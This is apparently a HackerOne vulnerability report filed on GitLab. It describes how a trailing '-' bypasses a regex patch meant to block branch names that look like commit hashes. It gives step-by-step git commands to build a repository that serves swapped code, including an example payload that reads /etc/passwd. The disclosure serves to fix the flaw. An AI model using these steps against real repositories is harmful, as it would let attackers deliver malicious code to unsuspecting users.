The main branch of a repository with a specially designed name allows an attacker to create repositories with malicious code. [Bypass #1864278].
HackerOne report #2031845 by st4nly0n
on 2023-06-19, assigned to @ottilia_westerlund:
Report | Attachments | How To Reproduce
Report
Summary
Note: This is a bypass in the solution to issue #1864278.
When reviewing the file lib/gitlab/checks/branch_check.rb
used to patch issue #1864278, I noticed that in the branch_check.rb
file, it uses a regular expression %r{\A\h{40}(/|\z)}
to evaluate if the branch name follows a certain pattern:
-
\A
represents the start of the string. -
\h{40}
matches a sequence of 40 hexadecimal characters. -
(/|\z)
matches a forward slash followed by additional characters or the end of the string.
The prohibited_branch_checks
method checks if the branch name matches a specific pattern, which consists of a sequence of 40 hexadecimal characters optionally followed by a forward slash and other characters. If the branch name matches this pattern, an exception is thrown indicating that the branch name is prohibited. This means that the branch name abbebba53d99e36a1450934a8bf4352a7fecd4d8/main
would be prohibited. However, you can bypass this restriction by adding a -
character at the end of the hexadecimal string, resulting in abbebba53d99e36a1450934a8bf4352a7fecd4d8-/main
. This would allow the same attack scenario described in the report #1864278 to occur.
The reproduction steps are almost the same as in #1864278. You just need to add the omission in steps 5, 6, 10, and 14. The modified steps are as follows:
Steps To Reproduce
- You must perform the following steps as the attacker user
1. Create a public repository (Initialize README.md).
2. Unprotect the main
branch.
3. Clone and enter the repository:
git clone <repo>
cd <repo>
4. Create a hello.sh
file, with harmless code:
echo "echo 'hello world'" > hello.sh
5. Create a directory named -/main
:
mkdir -p ./-/main
6. Copy the README.md
and hello.sh
files to the -/main
directory:
cp README.md ./-/main/ && cp hello.sh ./-/main/
7. Delete git history:
git update-ref -d HEAD
8. Confirm changes and push to remote:
git add .
git commit -m 'Init'
git push origin HEAD -f
9. Create a shell variable with the date of the last commit:
GIT_COMMITTER_DATE=$(git show -s --format=%cd $(git rev-parse HEAD))
10. Create a branch with the following format <last-commit-hash>-/main
:
git checkout -b "$(git rev-parse HEAD)-/main"
11. Push the branch to the remote:
git push origin HEAD -f
12. From the web interface, change the default branch to <last-commit-hash>-/main
created earlier.
13. Remove the main
branch:
git push origin -d main
14. Remove the -/main
directory from the <last-commit-hash>-/<main>
branch:
rm -rf ./-/main/
15. Change the content of hello.sh
with the payload of your choice:
echo 'cat /etc/passwd' > hello.sh
16. Delete git history:
git update-ref -d HEAD
17. Confirm the changes with the modified date and push to remote:
git add .
git commit -m 'Init' --date "$GIT_COMMITTER_DATE"
git push origin HEAD -f
The following video shows the impact from the victim's point of view, the same as in #1864278.
Proof of concept repository
https://gitlab.com/user_A/1864278_bypass
Impact
The impact remains the same as in #1864278.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: